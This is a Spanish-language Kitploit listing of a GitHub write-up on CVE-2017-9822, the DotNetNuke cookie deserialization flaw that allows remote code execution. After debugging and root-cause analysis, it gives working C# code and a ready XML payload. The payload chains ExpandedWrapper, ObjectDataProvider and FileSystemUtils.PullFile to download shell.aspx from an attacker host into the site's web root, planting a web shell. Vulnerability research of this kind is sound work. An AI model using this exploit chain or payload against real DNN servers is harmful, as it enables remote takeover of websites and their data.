Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2017-9822 | Kitploit
Herramientas/GitHubGitHub/tranphuc2005/cve-2017-9822
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de PayloadsExplotación de Binarios
GitHubtranphuc2005/cve-2017-9822

CVE-2017-9822

Ver Repositorio
hace 11 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2017-9822

DotNetNuke (a menudo abreviado como DNN) es una plataforma CMS (Content Management System) y framework de aplicaciones web basado en la tecnología ASP.NET de Microsoft.

Información clave

  • Producto afectado: DotNetNuke (DNN Platform) – un CMS/portal .NET popular.

  • Fecha de divulgación: Julio de 2017.

  • Gravedad: Critical (CVSS ~9.8).

  • Tipo de vulnerabilidad: XML External Entity (XXE) / Deserialización insegura → Remote Code Execution (RCE).

  • Impacto: antes de la versión 9.1.1, es posible ejecutar código de forma remota a través de la cookie

Guía de instalación

Aquí estoy usando Windows 10 para configurar y depurar el programa. La versión que estoy instalando es 9.1.0; puedes consultar cómo instalarlo aquí. Y el resultado al terminar es:

1

Análisis

1

  • Según los informes que he leído, esta vulnerabilidad se encuentra en el manejo de la cookie de DotNetNuke.

  • DNN utiliza un método de deserialización inseguro (unsafe deserialization) para la cookie DNNPersonalization.

1

Depuración

  • Aquí utilizo dnSpy, una herramienta descompilador y depurador para aplicaciones .NET (C#, VB.NET, F#...). Permite ver, analizar y editar el código fuente de archivos compilados como .dll o .exe escritos en .NET. Puedes instalarlo aquí. Necesitamos descargar 2 versiones para llevar a cabo la depuración.

1

  • Primero, abre DotNetNuke.dll con la versión de 32 bits y selecciona Edit Assembly Attributes (C#).

1

  • Después reemplaza la línea
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
  • Por:
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

1

Después guárdalo.

  • Abre la versión de 64 bits con permisos de administrador y selecciona Attach to Process.

1

  • A continuación, selecciona w3wp.exe.

1

La razón para elegir w3wp.exe es:

  • w3wp.exe = IIS Worker Process.

  • Es el proceso de ejecución del Application Pool en IIS.

  • Cuando llega una solicitud HTTP al sitio web, IIS crea o reutiliza un w3wp.exe para procesarla (ejecutar código ASP.NET, manejar módulos, middleware, conexiones de base de datos...).

  • Cada Application Pool puede tener uno o varios procesos w3wp.exe según la configuración (web garden, reciclaje).

A continuación, ve a Debug -> Window -> Modules.

1

Cuando aparezcan los módulos, haz clic derecho en cualquiera de ellos y selecciona Open All Modules.

1

Y al final aparecerán todos los ensamblados relacionados con DNN.

1

  • Entra dentro de DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int).

1

Esta función se usa para cargar los datos de personalización (perfil) del usuario en el portal DNN.

  • Si el usuario ha iniciado sesión → obtiene el perfil de la base de datos + caché.

  • Si es un usuario anónimo (sin iniciar sesión) → obtiene el perfil de la cookie DNNPersonalization.

Aquí debemos centrarnos en DNNPersonalization.

  • Si userId no es válido (usuario anónimo).

  • Comprueba si la solicitud contiene la cookie DNNPersonalization.

  • Si la tiene → toma el valor XML de esa cookie.

Enviaremos una solicitud 404 al sitio web con cualquier DNNPersonalization y usaremos dnSpy para establecer un breakpoint en DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int); así podremos depurarlo.

1

1

  • En el Call Stack, centrémonos en analizar la clase PortalSettings.

1

  • Lo que llama la atención es que aquí se usa una condición if para comprobar si la solicitud actual ya está IsAuthenticated o no.

  • Y como la solicitud que enviamos es 404 -> unauthenticated.

  • Continuando con el Call Stack, nos centramos en Handle404OrException.

1

  • Aquí comprueba si context.User de la solicitud actual es null; si es así, asigna context.User al usuario del hilo actual.

1

1

  • Podemos ver que en Handle404OrException la variable IsAuthenticated ahora tiene el valor true y el usuario es el del servidor IIS, por lo que la solicitud se procesa como un usuario autenticado.

  • La razón del problema está en este fragmento de código:

root@kitploit:~
else if (transfer)
{
	if (context.User == null)
	{
		context.User = Thread.CurrentPrincipal;
	}
	response.TrySkipIisCustomErrors = true;
	IHttpHandler handler = new CDefault();
	context.Handler = handler;
	server.Transfer("~/" + text, true);
}
  • Si context.User no existe → asigna Thread.CurrentPrincipal (es decir, la identidad actual del hilo).

  • Esto permite que la solicitud tenga la información de usuario/rol al continuar procesándose.

=> Cuando pasamos cualquier contenido a la cookie con la variable DNNPersonalization, se ejecutará como un usuario normal.

A continuación, veamos el manejo de la cookie

  • Seguimos en DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int).

  • Vemos que la variable text recibe el valor de la cookie y luego se usa como entrada para Globals.DeserializeHashTableXml().

1

  • Entramos en Globals.DeserializeHashTableXml().

1

La función DeserializeHashTableXml se encarga de:

  • Recibir una cadena XML (Source).

  • Analizar (parsear) esa cadena XML para convertirla en un objeto Hashtable.

  • Durante el análisis, llama a la función XmlUtils.DeSerializeHashtable, con el parámetro "profile" para especificar el nodo raíz del XML.

Dentro de XmlUtils.DeSerializeHashtable podemos ver cómo lo procesa.

1

La función DeSerializeHashtable recibe una cadena XML y la convierte en Hashtable. Para cada nodo <item>, la función:

  • Toma key como clave.

  • Toma type y llama a Type.GetType(type) para determinar el tipo de datos.

  • Usa XmlSerializer.Deserialize para convertir el contenido XML en el objeto real.

  • Lo agrega al Hashtable.

👉 Problema: type y el contenido XML están completamente controlados por el usuario (desde la cookie DNNPersonalization).

Crear el Payload

Basándonos en que XmlUtils#DeSerializeHashtable es la ubicación del fallo, creamos un programa similar que serializa y deserializa objetos:

root@kitploit:~
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;

namespace example
{
	public class Test  
	{    
	    private string _name;  
	    public string name  
	    {  
	        get { return _name; }  
	        set { this._name = value; execCMD(); }  
	    }  
	  
	    private void execCMD()  
	    {  
	        Process process = new Process();  
	        process.StartInfo.FileName = this._name;  
	        process.Start();  
	        process.Dispose(); // close  
	    }  
	}

    public class Program
    {
        private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
        public static void Serialize(Object obj) // method xml serialize arbitrary object 
        {
            // tạo xml root element
            XmlDocument xmlDocument = new XmlDocument();
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
            xmlDocument.AppendChild(xmlElementRoot);

            // tạo node con item có attribute type chứa tên object type

            XmlElement xmlElementItem = xmlDocument.CreateElement("item");
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);

            // serialize obj thành xmlDocumentObj

            XmlDocument xmlDocumentObj = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
            StringWriter stringWriter = new StringWriter();
            xmlSerializer.Serialize(stringWriter, obj);
            xmlDocumentObj.LoadXml(stringWriter.ToString());
            // thêm xml serialized object này vào node item và thêm node item vào root element
            xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));

            xmlElementRoot.AppendChild(xmlElementItem);
    
            File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);

        }

        public static void DeSerialize(string xmlSource, string rootname)
        {
            // Hashtable hashtable = new Hashtable();
            if (!string.IsNullOrEmpty(xmlSource))
            {
                try
                {

                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.LoadXml(xmlSource);
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
                    {
                        XmlElement xmlElement = (XmlElement)obj;
                        string attribute = xmlElement.GetAttribute("key");
                        string attribute2 = xmlElement.GetAttribute("type");
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));

                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
                        // custom

                        Object objResult = xmlSerializer.Deserialize(xmlReader);
                        Test testObj = (Test) objResult;
                        Console.WriteLine("Deserialize sucessful: " + testObj.name);
                    }
                }
                catch (Exception)
                {
                }
            }
            // return hashtable;
        }
        static void Main(string[] args)
        {
            // serialize
            Test test = new Test();
            test.name = "notepad.exe"
            Serialize(test);
            // deserialize
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
            DeSerialize(xmlSource, "profile");

        }
    }
}
  • El archivo xml se verá así:
root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<profile>
  <item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
    <Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <name>notepad.exe</name>
    </Test>
  </item>
</profile>

1

  • Ahora pasaremos al RCE.
  • Necesitamos encontrar un objeto que pueda ejecutar código al realizar Deserialize.
  • Aquí encontramos el método PullFile de FileSystemUtils.

1

Explicación:

  • PullFile(string URL, string FilePath) — método estático en FileSystemUtils que se usa para descargar contenido desde una URL a la ruta FilePath del sistema.

  • Internamente usa WebClient.DownloadFile(URL, FilePath) — acción de descargar y escribir el archivo.

  • El catch solo registra el error y devuelve un mensaje; no lo relanza.

Pero el problema es: XmlSerializer no puede serializar métodos de clase, solo campos y propiedades públicas. Y ninguno de los campos y propiedades públicas de la clase FileSystemUtils puede llegar a invocar el método PullFile.

Pasemos a la clase ObjectDataProvider.

  • ObjectDataProvider es una clase en WPF (espacio de nombres System.Windows.Data, módulo PresentationFramework.dll).

  • Capaz de invocar métodos en tiempo de ejecución: no solo contiene datos, sino que puede realizar acciones (efectos secundarios) llamando a cualquier método del objeto envuelto.

  • Permite pasar parámetros: el atacante puede controlar los parámetros pasados al método (por ejemplo, la URL y la ruta de archivo para un método PullFile).

  • ObjectDataProvider en sí no “ejecuta código” como un intérprete, pero permite llamar a cualquier método público del objeto envuelto. Por lo tanto, si existe un método público con efectos secundarios peligrosos (por ejemplo, descargar archivos, ejecutar procesos, escribir archivos), la cadena puede ejecutarlo.

1

Aquí está llamando a Refresh() de DataSourceProvider.

1

Luego llega a BeginQuery(). Ten en cuenta que ObjectDataProvider hereda de DataSourceProvider, y pasamos a BeginQuery() de ObjectDataProvider.

1

Continuamos con QueryWorker.

1

Llama a InvokeMethodOnInstance.

1

InvokeMethodOnInstance es el método que realmente ejecuta (invoca): usa reflexión para llamar al método especificado (MethodName) en el objeto que ObjectDataProvider envuelve (o en el tipo si es estático), pasando la lista MethodParameters, y devuelve el resultado de dicho método.

Usando el IDE JetBrains Rider para escribir el script, es necesario hacer referencia a los módulos DotNetNuke.dll y PresentationFramework.dll.

1

El payload que se ejecuta es el siguiente:

root@kitploit:~
using System;  
using System.IO;  
using System.Xml;  
using System.Xml.Serialization;  
using System.Windows.Data;              // ObjectDataProvider  
using DotNetNuke.Common.Utilities;      // FileSystemUtils (nếu bạn đã add DLL)  
using System.Data.Services.Internal;    // ExpandedWrapper (nếu có)  
  
namespace example  
{  
    public class Program  
    {  
        private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS  
        public static void Serialize(Object obj) // method xml serialize arbitrary object   
        {  
            // tạo xml root element  
            XmlDocument xmlDocument = new XmlDocument();  
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");  
            xmlDocument.AppendChild(xmlElementRoot);  
  
            // tạo node con item có attribute type chứa tên object type  
            XmlElement xmlElementItem = xmlDocument.CreateElement("item");  
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);  
  
            // serialize obj thành xmlDocumentObj  
            XmlDocument xmlDocumentObj = new XmlDocument();  
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());  
            StringWriter stringWriter = new StringWriter();  
            xmlSerializer.Serialize(stringWriter, obj);  
            xmlDocumentObj.LoadXml(stringWriter.ToString());  
  
            // thêm xml serialized object này vào node item và thêm node item vào root element  
        xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));  
            xmlElementRoot.AppendChild(xmlElementItem);  
            File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);  
        }  
  
        public static void DeSerialize(string xmlSource, string rootname)  
        {  
            // Hashtable hashtable = new Hashtable();  
            if (!string.IsNullOrEmpty(xmlSource))  
            {  
                try  
                {  
                    XmlDocument xmlDocument = new XmlDocument();  
                    xmlDocument.LoadXml(xmlSource);  
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))  
  
                    {  
                        XmlElement xmlElement = (XmlElement)obj;  
                        string attribute = xmlElement.GetAttribute("key");  
                        string attribute2 = xmlElement.GetAttribute("type");  
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));  
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));  
                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));  
                        // custom  
                        Object objResult = xmlSerializer.Deserialize(xmlReader);  
                    }  
                }  
                catch (Exception)  
                {  
                }  
            }  
            // return hashtable;  
        }  
        static void Main(string[] args)  
        {  
            ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();  
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();  
            expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();  
            expandedWrapper.ProjectedProperty0.MethodName = "PullFile";  
    expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");  
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");  
  
            Console.WriteLine("Done!!");  
            Serialize(expandedWrapper);  
  
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");  
            DeSerialize(xmlSource, "profile");  
  
        }  
    }  
}

Obtenemos el archivo xml:

root@kitploit:~
<profile>
  <item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>PullFile</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
          <anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>

Insertamos el payload.

1

1

1

Procedemos con la explotación.

1

Además, podemos usar la herramienta ysoserial.NET para crear payloads.

1

1

También podemos explotar la escritura de archivos en WriteFile de la clase FileSystemUtils.

1

1

Descargar herramienta